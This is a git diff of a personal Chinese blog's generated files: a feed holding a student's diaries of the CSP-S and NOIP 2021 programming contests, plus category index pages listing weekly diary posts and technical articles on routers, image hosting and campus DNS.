然后我就瞎搞出了第三种做法,预处理只处理 1 0 7 10^7 1 0 7 以内所有含 7 7 7 的数字,打上不可报标记。然后针对每个查询数字 i i i 再去校验 i + 1 i+1 i + 1 及以后的数是否可报。我洋洋得意,自以为这样的做法似乎避免了不必要的预处理,但赛后发现实际上查询时间复杂度高得离谱。一测发现前三个样例 AC,样例4 TLE。于是我又加了个记忆化数组,保存校验结果减少对同一个数的重复校验,然而样例4依旧 TLE。一看时间已经过去一个多小时了,想着算了先往后做吧。
T2 数列 sequence一看真就没啥思路,感觉和组合数学有关,估计是什么数学题。思索了很久实在没想法就 DFS 暴力开搞,逐个枚举数列 { a n } \{a_n\} { a n } 中每一项的值,再求相应的 S S S ,用 __builtin_popcount()
统计二进制中 1 1 1 的个数(今年起开放了下划线开头的函数),如果满足 ≤ k \leq k ≤ k 就计算权值。同时要时刻注意取模避免爆 long long
。测了一下样例1 AC,样例2 WA,而且我的答案竟然是负数,怀疑哪里溢出了检查了好几遍都没发现问题,该取模的地方也都取了,我只好决定放在一边接着往下做。
T3 方差 variance一看这题,我靠,怎么又是数学题,搁这上机数学竞赛呢?莫不是全国高联 CCF 限定版?
众所周知方差是反映一组数据波动程度的统计量,方差最小那不就是要数据波动尽可能小嘛,那这道题就是要通过若干次这种操作减少数据的波动程度。我打算先研究一下题干中给出的这种操作的一些性质,花了点时间发现了下面两条:
对 a i a_i a i 进行连续的两次操作将使其复原。(非常显然) 将 a i − 1 a_{i-1} a i − 1 , a i a_i a i , a i + 1 a_{i+1} a i + 1 放在一条平滑的曲线上,发现操作的直观意义在于使 a i a_i a i 变为其关于 a i − 1 a_{i-1} a i − 1 和 a i + 1 a_{i+1} a i + 1 的均值的对称点。(也比较显然) 然后就没了,好不容易 证出来的结论似乎对解题依然没什么帮助。考虑了一下贪心、差分,感觉都不太对,也没敢贸然下手。最后只好忍痛放弃,拿了 n ≤ 4 n \leq 4 n ≤ 4 的12分跑路。
T4 棋局 chess看完题目就没有什么做的欲望了,再加上给了 1024MB 内存,4s 时限,估计不是什么好做的题。写 DFS 当成大模拟做我觉得划不来,吭哧吭哧写完调半天可能也没几分,果断放弃。
回过头又在 T1、T2、T3 间反复横跳,一道都没能突破,直到最后都没意识到自己把 T1 正解给否决了。走出考场的那一刻我知道自己已经凉了,突然很庆幸去年拿了二等奖,今年恐怕连奖都没了,在高一高二同学面前我这个高三的半退役选手真的是身败名裂。同时也深刻认识到了数学是自己的最大软肋,今年三道数学题一搞就拿不到什么分了。
回到家测了下民间数据,洛谷 62pts,小图灵 82pts,InfOJ 82pts,市排名 200+/371,凉透了。写这篇游记来记录我在考场上的真实反应,也是希望后人能吸取我的教训,引以为戒。
结束我的高中三年 OI 生涯就在这一场失败的比赛中结束了,感觉自己又回到了2019年第一次打 CSP-S(那年 NOIP 取消)的时候,也是拿了几十分滚粗了,还真是首尾呼应啊(笑)。不管怎么样,至少高二的时候拿过 CSP-S 一等,拿过 NOIP 二等奖,也算是满意了。
更何况,自始至终我从来不指望 OI 能给我带来升学上的任何实质性帮助,也并不只是为了那么几个奖打 OI,更是因为热爱它,愿意为它付出时间和精力。三年下来,我收获了独属于我的一段人生经历与体验,也深刻认识到了自己是多么的菜,比自己厉害的人数不胜数,因而时刻心怀谦卑,这就足矣。
借此也特别感谢我校的两位信竞教练,把我们领进了 OI 的世界,高一高二时坚持每周两个晚上的集训无偿给我们上课,真的付出了很多。还要感谢我的班主任,在刚进高中家访的时候得知我有这方面的兴趣,二话不说当场打电话给了我现在的教练,把我拉进了校队。
延续12月底还有一场上海市高三信息科技竞赛,仅限上海市高三学生参加,教练推荐了我去,到那时就要真正和 OI 说再见了。
不过,在9个月之后,当我考完高考,当我步入大学的校园时,说不定还能再次重逢,也许我会去打蓝桥杯,也许会成为 ACMer,又有谁说得准呢。
OI,后会有期。
]]>
+
+
+ <p>11月20日下午一点,考场内清脆的结束铃响起,我按下了屏幕上的提交按钮,短暂的三年 OI 生涯终于随 NOIP 2021 的落幕画上了句号,我的心里感慨万千。这应该是这个博客的最后一篇 NOI 系列活动游记了,因为,无论这次考得怎样,我都真的彻底退役了,高三了,老了。</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2021 CSP-S 复赛游记
+
+ https://blog.hans362.cn/post/2021-csp-s-2/
+ 2021-10-24T15:17:52.000Z
+ 2024-04-24T14:30:59.321Z
+
+ 昨天,也就是2021年10月23日,我刚刚考完了本年度的 CSP-S 第二轮。晚上六点多走出考场时,我人已经麻了。欲知发生了甚么事,请继续阅读本文。
P.S. 去年复赛游记请移步:2020 CSP-S 复赛游记
Day 0复赛那天恰逢成人高考,原以为我校应该做不了 CSP 认证点,和初赛一样要跑很远去华二考试,结果一看准考证,认证点竟然就在自己学校?!瞬间狂喜,而且机房也在以前刷题的机房,监考老师就是自己教练。
考试前一天下午因为成人高考布置考场三点多就放学了,回到家大致梳理了一下常用模版的实现思路。由于今年9月1日起 NOI 系列活动启用全新的技术标准,采用 C++14 标准,放开了大部分原本禁用的下划线开头的函数,pbds
也可以使用,因此又现学了一下一些原本禁用的函数和库。
Day 1下午提前45分钟到达学校,看到校门口好多人于是想也没想就跟在后面排队测温,快排到我时我瞥了一眼工作人员的胸牌,一眼就看到大大的 SHMEEA 的标志。嗯?怎么是上海市教育考试院的牌子?再一看别人手里拿的准考证,然后瞬间明白了我混进了成人高考的队伍。当然也无伤大雅,进去后直奔科技楼,终于看到教练在门口负责收集考试安全承诺书。因为时间还早就先去底楼的实验室开了台电脑练习一下手感,提前十五分钟再进楼上的考场。
到点了公布解压密码,一次输对,解压、建文件夹一气呵成,毕竟都打了两年比赛了。然后开始看题,发现今年可以吸氧(开 O2 优化)诶,STL 可以放心用了。吸取去年 T1 的教训,我把4道题都看完了。然而看完我就慌了,因为我根本找不到签到题,就只好先从 T1 开始。
T1 廊桥分配 airport尝试抽象了一下数学模型,感觉和线段覆盖有关?莫非是线段树?那我可不会打。思索了半小时没啥正经的思路,暴力做法倒是想到了,也就是将每架飞机的起飞降落都分别看成一个事件,用结构体维护事件,上来先把事件按时序用 sort()
排列,然后对于每一种分配方案再模拟时间轴,统计停靠廊桥的飞机数量,最后取其中的最大值。当然我也很清楚这样的做法时间复杂度是 O ( n l o g n ( m 1 + m 2 ) ) O(nlogn(m_1+m_2)) O ( n l o g n ( m 1 + m 2 ) ) ,看了下数据范围 n n n 和 m 1 + m 2 m_1+m_2 m 1 + m 2 都要到 1 e 5 1e5 1 e 5 ,明显会爆炸。然而已经过去半小时了,实在没什么更好的思路了,只能先暴力开搞。半小时写完样例都通过了,可见样例非常水。
T3 回文 palin因为 T2 实在没啥想法甚至连暴力都不知道咋写,果断跳 T3。这题也没啥正经做法的思路,看到输出字典序最小的结果考虑可以 DFS,优先走搜索树的左子树即可,当然看了下数据范围肯定炸,因此想写个 DFS 再试试看能不能剪枝。写完 DFS 过了前两个样例,考虑剪枝。发现搜索到 n + 2 n+2 n + 2 层就可以开始判断是否回文了,如果不是就直接回溯,即
if (k>n+1 && (b[k-1 ]!=b[2 *n+2 -k])) return;
然而样例3还是炸,遂放弃。
T4 交通规划 traffic题看起来都费劲,而且不像去年,今年这道没有好做的部分分。显然不可做,就直接放弃了,回头去看 T2。
T2 括号序列 bracket这题一上来完全没往 DP 上想,我的思路是枚举每个?
可能的值,再判断整个字符串是否合法。但是问题就出在这个判断函数应该咋写,我联想到了利用栈进行括号匹配的操作,于是大胆猜想这题也应该是这么干的,只不过还要确认连续出栈的*
个数小于等于 k k k ,然而很不幸猜错了。当样例1死活过不了之时,我才突然发现我这个算法很容易就证伪了。然后我就开始想另一种校验字符串合法的方式,完全陷入了这种思维定势导致我浪费了大量时间。
最后只剩下半小时了我才突然意识到 DP,结果当然并没有推出转移方程。无奈放弃。试图开一下虚拟机准备跑一下 T1 T3,结果学校的破电脑根本承受不住竟然直接死机了,硬盘仿佛在呼啸,最后也没测成。
到点交卷签字走人,我觉得我凉透了,应该是没有三位数了。
2021.10.24一早测了下洛谷民间数据,40+0+28+0,我人没了。后来发现 T3 还有一个枝忘剪了,加了行代码直接 28pts 变 40pts,我人麻了。
总结今年可以说更加注重思维的考察,没有去年的大模拟、卡精度之类的妖魔鬼怪,但是对于我这种缺乏思考能力的选手而言确实是挺有难度的,至少我认为比去年难多了。而我这次 T2 被自己刚开始的思路局限住了,没有充足的时间去思考 DP 做法,也值得引以为鉴。
总之这场 CSP 打得稀烂,但愿还能有机会苟进 NOIP。
]]>
+
+
+ <p>昨天,也就是2021年10月23日,我刚刚考完了本年度的 CSP-S 第二轮。晚上六点多走出考场时,我人已经麻了。欲知发生了甚么事,请继续阅读本文。</p>
+<p>P.S. 去年复赛游记请移步:<a href="https://blog.hans362.cn/post/2020-csp-s-2/">2020 CSP-S 复赛游记</a></p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2021 CSP-S 初赛游记
+
+ https://blog.hans362.cn/post/2021-csp-s-1/
+ 2021-09-30T14:07:58.000Z
+ 2024-04-24T14:30:59.321Z
+
+ 没错,我又回来了。
去年 NOIP 拿了个二等奖,然后退役专心搞文化课去了,当时打算如果高三有空的话再去玩最后一次。现在由于我已经考完了地理、生物等级考,课业压力和很多人相比还是要稍微轻松一点的,再来就是想调剂一下枯燥乏味的生活,于是尽管已经高三,我依旧报名了今年的 CSP/NOIP 系列认证/赛事。当然高三毕竟还是学习最重要,所以我也就没有像去年花大量时间参加集训了,决定凭着现有的菜鸡水平,作为退役选手重返赛场。
因为一些众所周知的原因,今年是 NOI 系列活动新赛程实施的第二年。由于有了去年的经验,今年 CCF 各个环节推进得要迅速很多,8月份就开始初赛报名了,整个赛程的时间线比去年提早了一个月左右,正好不会影响到12月份的高三一模。9月19日我去考了 CSP-S 第一轮认证(初赛),于是就有了这篇游记。
去年初赛游记请移步:2020 CSP-S 初赛游记
Day 0因为太久没碰 OI 了,教练都有点担心我的初赛,于是考试前一天非常贴心地给我准备了三套模拟卷和答案供我复习,真是受宠若惊。
回到家后写了三小时作业,然后开始复健。快速地过了一下模拟卷,顺带着把知识点过了一遍,发现还是遗忘得挺多的,不过稍微看一看也能想起来。模拟卷里还有几道几年前初赛很喜欢考的时间复杂度递推,以前因为看不懂主定理所以遇到都直接放弃。这次我打开 OI Wiki 尝试学习了一下主定理的使用,竟然学会算时间复杂度递推了(虽然第二天根本没考到)。
然后今年我校在9月19日承办了另一重要赛事,所以就只能大老远跑到华师大二附中某分校去考了(复赛那天我查了下是成人高考,我校又要被征用,看来今年是不能在自己学校考了)。
Day 1一大早出发,大概一个小时的车程到达认证点,然后被惊吓到了。放眼望去校门口的队伍里竟有一大半都是小学生,拜托这可是S组的认证啊,现在信息学竞赛已经内卷到这么可怕的地步了吗?(瑟瑟发抖)
到了考场门口才知道很多小学生是下午J组的,搞错时间了。但是,报名了S组的小朋友依然很多,我那个考场里有大约一半都是小学生。
然后就是发卷子和答题卡以及草稿纸,拿到卷子后翻阅了一下,一眼就看到了今年那道臭名昭著的手算 base64,顿时心里咯噔一下。再看到后面的笛卡尔树和四毛子,我的心已经凉透了。
试题链接
选择题硬着头皮开始做选择题,考了 Linux 列目录命令好评,图论和二叉树考了挺多题的,难度还可以,主要都是概念性的和结论性的东西,排列组合数学题考了两道,比去年的数学题要难一些,但是毕竟高中数学没白学,都做对了。
(感兴趣的同学可以做做)
最后选择题正确率挺高的,就错了一道题。
阅读程序 T1说实话看完这题是懵的,不知道这个程序在干嘛。但是一看到
又看到两个特判
顿时明白了这是在求两个球的体积交。
然后就好做了,但是带入数据计算的时候发现有个变量 r r r 好像没给啊,找了半天发现写在了最顶上:
原来 r r r 是 a r c c o s ( 0.5 ) arccos(0.5) a r c c o s ( 0 . 5 ) 啊,诶等等,这是我脑子能计算的东西吗?习惯于使用计算器的我差点没反应过来这货就是 π 3 \frac{\pi}{3} 3 π 。
T2这题就涉及到我的知识盲区了,我这个菜鸡只好一通瞎猜。
T3万恶的 base64 来了,恨不得当场调个 base64_decode()
函数。
一上来就掉坑里了,没考虑到解码出来的字符串可能包含换行符。
手算 base64 果断放弃,相信好心的 CCF 是不会让你算半天最后发现不对的,结果猜错了,CCF 并没有这么好心。
这道题是整张卷子中最让人无语的一道题,因为它考了一个未定义行为 ,即不同的编译器和平台会给出不同的结果,主要取决于 char
是被默认为 signed char
还是 unsigned char
,可以说是命题人欠考虑了。以下是考完后上机验证的结果:
完善程序今年的完形填空(完善程序)难度比去年要大,T2 四毛子我就不说了,我全是猜的(最后莫名其妙猜对了好多),T1 给了个极具迷惑性的没有卵用的 r r r 记录 while()
循环执行的次数,让我一直在想它的用处,最后害我把本来判断对的改错了。
当天晚上对了答案,估分65.5pts,虽然不咋样但是在上海应该能过。
(图源洛谷,仅供参考)
2021.9.28上海成功撑到了最后,赢了广东,成为了全国最后一个出成绩和分数线的赛区。
考了69.5,比估分高了4分,最后成绩居然和去年一模一样,虽然卷子难了成绩没变,还是比较满意的。至于上海分数线嘛,才41分,我这分数在上海都能排到100名左右。
之后的计划之后还是专心于文化课,计划国庆去学校一个上午练一下手感,然后复赛前一天晚上背背板子就差不多了,能拿多少分随缘,反正已经退役了大胆去考就可以了。
最后,祝今年参加 NOI 系列活动的 OIer 们考出好成绩~
]]>
+
+
+ <p>没错,我又回来了。</p>
+<p>去年 NOIP 拿了个二等奖,然后退役专心搞文化课去了,当时打算如果高三有空的话再去玩最后一次。现在由于我已经考完了地理、生物等级考,课业压力和很多人相比还是要稍微轻松一点的,再来就是想调剂一下枯燥乏味的生活,于是尽管已经高三,我依旧报名了今年的 CSP/NOIP 系列认证/赛事。当然高三毕竟还是学习最重要,所以我也就没有像去年花大量时间参加集训了,决定凭着现有的菜鸡水平,作为退役选手重返赛场。</p>
+<p>因为一些众所周知的原因,今年是 NOI 系列活动新赛程实施的第二年。由于有了去年的经验,今年 CCF 各个环节推进得要迅速很多,8月份就开始初赛报名了,整个赛程的时间线比去年提早了一个月左右,正好不会影响到12月份的高三一模。9月19日我去考了 CSP-S 第一轮认证(初赛),于是就有了这篇游记。</p>
+<p>去年初赛游记请移步:<a href="https://blog.hans362.cn/post/2020-csp-s-1/">2020 CSP-S 初赛游记</a></p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/bangumi/index.html b/bangumi/index.html
new file mode 100644
index 00000000..72de10e6
--- /dev/null
+++ b/bangumi/index.html
@@ -0,0 +1 @@
+追番 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/categories/OI-笔记/index.html b/categories/OI-笔记/index.html
new file mode 100644
index 00000000..2c8585d3
--- /dev/null
+++ b/categories/OI-笔记/index.html
@@ -0,0 +1 @@
+分类:OI 笔记 | Hans362 's Blog 加载中...
Hans362 's Blog 【题解】POJ2018 Best Cow Fences 最近终于开始学《提高篇》了…然后就刷到了这一题…
《提高篇》书上写的这道题的思路说实话我看了很久都不太能理解(当然现在明白了),所以就以我的角度来谈谈这道题该怎么下手做出正解~
【题解】POJ2018 Best Cow Fences 【题解】P1855 榨取kkksc03 某天刷洛谷的时候看到这道题,被标题骗进来了(标题好爽(雾
毋庸置疑这是一道大水题,大概是看在 kkk 的面子上才标了「普及/提高-」难度
那么决定了,第一篇题解就给它吧!(其实只是想练习一下 MathJax 的使用(
【题解】P1855 榨取kkksc03
\ No newline at end of file
diff --git a/categories/周记/index.html b/categories/周记/index.html
new file mode 100644
index 00000000..537b92aa
--- /dev/null
+++ b/categories/周记/index.html
@@ -0,0 +1 @@
+分类:周记 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#31 好久不见,各位新春快乐呀!🧨
五周的寒假转眼就过去了,前不久还沉浸在过年的喜悦中,现在已经在学校坐牢一周了(谁家好人学校正月初九开学啊,我还没玩够呢😡😭)
那就来一篇终极寒假生活流水账罢(
周记#31 周记#30
让我看看…嗯,很好,不出意外的话大概是出意外了 ,我竟然已经五个月了没更新博客了,赶快把存货发出来除除草。
所以这是一篇从暑日至寒冬跨越两季的超长流水账,猜猜这次会有多长呢?🤪
周记#30 周记#29 咕咕咕了半年零三个月,这个系列终于有了后续(你还知道写啊)。
所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账,我也不知道会有多长,各位慢慢看🤪。
周记#29 周记#28 - “开学第一课” 诶嘿,我又来水文章了(bushi)
转眼间大学已经正式开学两周啦!回想起这两周所经历的一切,我想我只能用两个词来形容,那就是「魔幻」和「荒诞」,远超想象的「魔幻」和「荒诞」,以至于狠狠给我上了一课。
你可能会好奇发生了什么,那就接着往下看吧。
周记#28 - “开学第一课” 周记#27 - Re: 从零开始的大学生活 好久不见,首先祝各位中秋快乐!
转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生,这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散,就以本文记录下我从零开始的大学生活吧!
周记#27 - Re: 从零开始的大学生活 周记#26 - 高考简报 又半个月过去了,是时候来水一篇文章了()
好吧,其实是因为8月3日晚就查到了录取结果,终于算是尘埃落定,可以安心过暑假了,就趁此机会就来记录一下7月这后半个月的事情吧。
周记#26 - 高考简报 周记#25 - 近况报告:高中生活完结🎉 大家好呀。转眼到了7月中旬,“周记”系列时隔大半年终于等来了更新(好耶!)。
前段时间我终于考完了秋季高考,并且高中毕业啦!趁着现在还没出成绩比较空闲,决定把这个大坑填一下。
所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多,所以大概也要讲个半年吧 (bushi)
咳咳,那么就开始吧!
周记#25 - 近况报告:高中生活完结🎉 周记#24 - 一月、春季高考、寒假 猛然发现上一篇“周记”竟然是183天前写的,再不更新就要成“年记”了。因为高三了平时也确实没时间写东西,整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了,就来写写2022年的第一个月发生的事吧。
(话说一直想给这个系列换个名字,一周一记是绝对不可能滴,那么该叫什么好呢🤔)
周记#24 - 一月、春季高考、寒假 周记#23 - 六七月那些事 离上次更新又一个多月了,眼看着高中最后一个暑假(也是第一个完整的暑假)竟然都快要过半了,赶紧来水一篇“周记”(
那么这篇就是关于六月底以及七月的那些事~
周记#23 - 六七月那些事 周记#22 - 等级考简报 突然发现已经许久没有更新过周记了,上一篇还是在疫情刚平稳返校复学的时候,距离现在都已经一年多了
前段时间终于把地理生物送走了 ,现在少了两门课稍微轻松一点了,趁着端午假期赶紧复活一下这个系列(
这篇周记主要是关于等级考之后这一个月的事,当然还有最重要的,等级考查分
周记#22 - 等级考简报
\ No newline at end of file
diff --git a/categories/周记/page/2/index.html b/categories/周记/page/2/index.html
new file mode 100644
index 00000000..efd3cec2
--- /dev/null
+++ b/categories/周记/page/2/index.html
@@ -0,0 +1 @@
+分类:周记 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#21 - 网课时代完结撒花~ 2020年5月15日下午,伴随着最后一节线上地理课的结束,以及满屏的“完结撒花”、“周一见”、“要面基了”,网课时代终究成为了回忆(泪目😭
事实上,这篇周记其实在三月份的时候我就打算要写了,一直躺在草稿箱里咕咕咕到现在(
所以这篇周记主要是关于这三个月的网课生活~
周记#21 - 网课时代完结撒花~ 周记#20 - 终极高一生活感想 在别的学校已经放假一个多星期后,我们高中…
终!于!放!寒!假!啦!
然而千万不能高兴的太早,因为…
充实而快乐的寒假,你值得拥有 😓
那么本文就来写写近况以及我这一个学期的感受~
P.S. 由于本人写作能力堪忧,这篇文章会又臭又长,请见谅(逃
周记#20 - 终极高一生活感想 周记#19 恭喜您已过完本年度所有法定节假日 Σ( ° △ °|||)︴
又是几周过去,转眼我进入高中已经一个多月啦qwq
和同学都已经差不多混熟~那么这篇特水的周记就记录一下这一个月的见闻吧~
P.S. 原谅我这糟糕的文笔,只能想到啥写啥╮(︶﹏︶)╭
周记#19 周记#18 转眼已经开学一周,我也正式成为一名高中生啦(/≧▽≦)/~┴┴
最近我的博客更新突然变得频繁起来…甚至连周记都变成了“真●周记”(Flag立好
那么废话不多说咱就一起康康 这周都做了些啥吧~
周记#18 周记#17 - 暑假大事记 转眼间这个愉快的 暑假就已经过去啦~(内心OS:不!我还没玩够!˚‧º·(˚ ˃̣̣̥᷄⌓˂̣̣̥᷅ )‧º·˚)
所以说明天就要踏入新高一的教室了呢~(其实早就已经去过了…)
那么就来回顾一下这个中考结束后疯玩 的暑假吧~
周记#17 - 暑假大事记 周记#16 - CJ 初体验(多图预警) 没错!在调课大法的帮助下,我终于参加了人生中的第一次 CJ ~(好耶)
咱是 8.2 ChinaJoy 首日去的(因为门票相对便宜qwq),原以为人会很多的说,但是并没有我想象的那么多呢,估计周末两天人数会暴涨~
由于我毕竟不想孤身一人跑到大老远的浦东 SNIEC 奋战,我一蒟蒻又不敢和大佬面基,所以就约同学一起去逛啦~
周记#16 - CJ 初体验(多图预警) 周记#15 - 中考简报 各位,还记得上一篇文章么?
转眼几周过去了,被我疯狂吐槽的中考也终于出分了…
周记#15 - 中考简报 周记#14 - 近况:我的初三生活 *头图来自2018.12.29必应今日美图
又双叒叕是一篇暴露年龄系列的水文(//▽//)
上一篇周记居然是5个月前的!简直不能忍了2333…赶快来水一文否则博客都要长草啦w
虽说之前说好一模前不碰博客的,然而因为白嫖来的服务器到期的问题还是不得不维护了一下博客
不过现在一模考完啦~这篇周记(大雾)主要用来记录一下我的初三生活吧~
(等等…2018年终总结好像并没有写的样子…算了不写了2333)
周记#14 - 近况:我的初三生活 周记#13 - 说起夏天,总有遗憾 这大概是我在闭关前最后一篇文章了
近况不知不觉暑假2个月就过去了…除了上课似乎也没做什么事情就这样过去了…不知为何有种遗憾的感觉,心情有点糟糕呢
原本以为没空出去玩了,可是还是被爸妈拉着出去玩了…去了我爸老家福建连城冠豸山,还去了趟绍兴,原本写好了旅游日志存在Typora里,但是在写这篇周记的时候离开学只有1.5天了,就懒得拿出来整理了
那么就请看我的超长周记~(好像有什么不对的…
周记#13 - 说起夏天,总有遗憾 周记#12 - 终于从监狱里(大雾+划掉)出来啦~ 今天终于可以暂时告别监狱啦!(大雾)
…
好吧~其实是学校2333
自从考完试到现在似乎已经消失了好长一段时间,因为被关在监狱里了23333(大雾x2)一天五节80分钟的课,中午吃饭才能出去转转,这感觉…爽翻了 。到了第五天左右就感觉很糟糕了,累得要死,不过终于撑过去啦!下次上课在八月,至少这中间可以歇一段时间(其实并不…往下看)
周记#12 - 终于从监狱里(大雾+划掉)出来啦~
\ No newline at end of file
diff --git a/categories/周记/page/3/index.html b/categories/周记/page/3/index.html
new file mode 100644
index 00000000..915d4311
--- /dev/null
+++ b/categories/周记/page/3/index.html
@@ -0,0 +1 @@
+分类:周记 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#11 - 生日快乐! 终于熬到周末了呢~这周实在太累2333
每天睡6小时不到感觉很糟糕,一整天都没精神,周末一定要睡个懒觉!
首先祝自己生日快乐~嗯今天是我生日~14岁啦~
还有各位端午节安康~记得吃粽子哟(咸蛋黄肉粽最好吃不接受任何形式的反驳
周记#11 - 生日快乐! 周记#10 大概有一个多月没有写周记了…主要是因为这段时间特别忙,中间趁周末写过几篇技术向的文章和特别周记的说说,周记就完全没空写了,不过现在五一放假终于到啦~
所以我就这么回来啦w 写了这篇拖了n周的周记
周记#10 周记#9 大家好~快两周没有更新博客了呢…虽然评论之类的一直有在偷偷看啦
不知不觉已经开学一个多月,翻了翻博客发现上一次写周记是在二月份…所以就抽出时间码了这篇文
因为好久没更新了,积累了不少事情和大家分享呢~
所以请各位带着期待读下去吧:-)
周记#9 周记#8 各位,好又到了每周一次的周记文 周记时间~
一直觉得博客没啥干货全是几十个字到几百个字的周记文估计没人看2333
以后可能会更加侧重于写一些技术向的文章吧?
赶快戳右边的按钮读正文吧→
周记#8 周记#6 - 西安旅行日志 好久没更新了…是不是以为我弃坑啦¯_(ツ)_/¯
这个寒假好短啊~才刚刚过了一周就感觉时间已经不够了…
不过即使这样还是抽出时间去旅游了╮( ̄▽ ̄"")╭
这次的目的地是西安
先来几个关键词吧~ |钟鼓楼|兵马俑|西安地铁|月食|西安城墙|肉夹馍|羊肉泡馍|陕历博|大雁塔|
好的,下面正文开始( ´ ▽ ` )ノ 注意!大量图片即将出现,流量党慎入!
周记#6 - 西安旅行日志 周记#5 - 突然失踪原因 距离上次写博客已经8天了呢~期末考试早已结束,成绩也知道了,不管考得怎样,反正已经过去了òᆺó
那么我为啥消失了这么久呢…请往下看
周记#5 - 突然失踪原因 周记#3 大家周末好~我是消失将近一周的Hans362(≧∇≦)
又到写周记的时候啦!
那么我这周都干了些什么呢?不告诉你 ↘️
周记#3 周记#2 各位早上好中午好晚上好~我是Hans362
又到了写周记的时候啦,真是难以置信呢,一周过去了我居然按时来更新了。这次不说那么多废话了,直接进入正题吧
周记#2
\ No newline at end of file
diff --git a/categories/周记/page/4/index.html b/categories/周记/page/4/index.html
new file mode 100644
index 00000000..2679ac47
--- /dev/null
+++ b/categories/周记/page/4/index.html
@@ -0,0 +1 @@
+分类:周记 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#1 哈罗大家好这里是Hans362~
没错正如你所看见的那样我开了一个周记板块哈哈哈哈哈哈哈哈哈嗝 ~
大概是受到蚊子大佬的启发吧233页开始写周记了XD
不过其实我是不太喜欢写作的,比起在纸上写周记我更爱我的键盘=w=
下面就来讲讲这周我的摸鱼 学习生活,这些周记打算写完存起来给自己看,也给大家一个了解我的方式
周记#1
\ No newline at end of file
diff --git a/categories/技术向/index.html b/categories/技术向/index.html
new file mode 100644
index 00000000..d51adabd
--- /dev/null
+++ b/categories/技术向/index.html
@@ -0,0 +1 @@
+分类:技术向 | Hans362 's Blog 加载中...
Hans362 's Blog 阿里云金融级实人认证接入踩坑记 最近需要给一个基于 Django 的项目开发实名认证功能,除了常规的核验姓名和身份证号是否匹配,还需要对用户进行活体检测。看了一圈最后选定了阿里云的金融级实人认证 产品,可以直接让用户使用支付宝APP完成活体检测的认证过程,开发工作量相对较小,对用户而言也比较方便(毕竟这年头谁手机上还没个支付宝呢)。
开通金融级实人认证后,我开始照着阿里云提供的开发参考文档 尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档,开发花费的时间比我想象中要多😇,在此也记录一下我踩过的坑,希望能够帮助到后来者。
阿里云金融级实人认证接入踩坑记 对抗校园网 DNS 污染,我有妙招 最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络,这确实是我迄今为止使用过的最奢华的网络环境,尤其是把 WSL 软件源更换成 SJTUG 镜像站后,能够以接近 1Gbps 的速率更新软件包,体验极度舒适。
然而,某天早上7:30,当我试图打开 Bilibili 时,Chrome 浏览器却提示 DNS_PROBE_FINISHED_NXDOMAIN
,手机客户端也加载失败。通过查阅校内论坛,我得知由于某些原因,从2022年5月25日起的每天0点至8点,学校网络信息中心提供的 DNS 服务器会故意 不返回大部分视频网站(包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手)及游戏网站(包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏)的解析结果,即所谓的 DNS 污染。
虽然我多数时候没有在0点至8点使用这些网站的需求,但是我并不认可这种行为,所以本文就来谈谈我是如何对抗校园网 DNS 污染的。
对抗校园网 DNS 污染,我有妙招 「一块钢板的重生」——7年前的小米4还能干什么 随着家里接入米家生态链的智能家庭设备越来越多,我已经习惯于使唤房间里的小爱音箱帮我完成各种开关操作。就在前几天,我甚至都忘记了房间里的电风扇不是智能的,对着小爱同学张口就来,最后还得自己去开。那么对于这样的非智能家电,是否能够将其接入到智能家居的生态链中呢?答案是肯定的,比如我房间里的这台风扇支持红外遥控,只需要加钱买个米家生态链的红外万能遥控器就解决了。
然而目前市面上一台红外万能遥控器价格在几十块到一百多块不等,贫穷使我我不得不思索另一种替代方案。看到抽屉里的小米4以及机身顶部的红外发射器,我突然有了灵感。这台小米4是我初中的时候用的,上了高中换了手机以后就放在抽屉里没动过了,算下来已经是7年前的老古董了。虽然这样一台手机在今天干啥都有那么点卡顿,而且无论是官方的还是第三方的 ROM 都已经停止支持了,但是当一个万能遥控绰绰有余。因此,这篇文章就来谈谈我是如何让7年前的小米4重获新生的。
「一块钢板的重生」——7年前的小米4还能干什么 在 MWeb 中优雅地使用 GitHub + JsDelivr 图床 一直以来我都使用 iPad 作为主要的写作工具,得益于 Working Copy + MWeb 的神仙组合,我可以在 iPad 上非常便捷地完成博客文章的写作、推送,然后交给 GitHub Actions 完成静态博客自动构建(没错,我把慢吞吞的 Travis CI 换掉了)。
MWeb 作为一款非常优秀的 iOS/macOS 端 MarkDown 编辑器,其内置了强大的图片上传功能(也就是俗称的“图床”),可对接许多知名图床平台的 API 以及各大云计算平台的对象存储服务,写文章时可快速插入图片,省去了手动上传的过程。
最近我吃饱了撑的 把博客的图片全部从腾讯云 COS 迁移到了 GitHub,并使用 JsDelivr CDN 进行全球加速,然而从上图中可知 MWeb 并未提供 GitHub 的图床接口,这可咋办呢?经过一番摸索,我找到了这个我自认为还不错的解决方案。
在 MWeb 中优雅地使用 GitHub + JsDelivr 图床 年轻人的第一台软路由 - NanoPi R2S 开箱 一直以来,家里的小米路由器3都在承受着它这个年纪不应该承受的痛苦,无论是 Samba 文件共享还是打印机共享或是某不可描述服务,全部都由 128MB 小内存的它独自默默承担
面对着黑心老板 Hans362 的压榨,它选择了通过减慢速度、频繁死机上不了网、多次掉盘丢数据等多种方式,成功地让我抛弃了它
更为致命的是小米路由器3作为一款所谓的“千兆路由器”,“千兆”居然指的是 WLAN 传输速率,而 WAN/LAN 口全部都是 100Mbps,这不是脱裤子放屁嘛🤔
(小米路由器3包装盒,确实写着千兆路由器,然而指的是 WLAN 速率,要你有何用?恕我直言,小米的路由器就垃圾,还是别碰比较好)
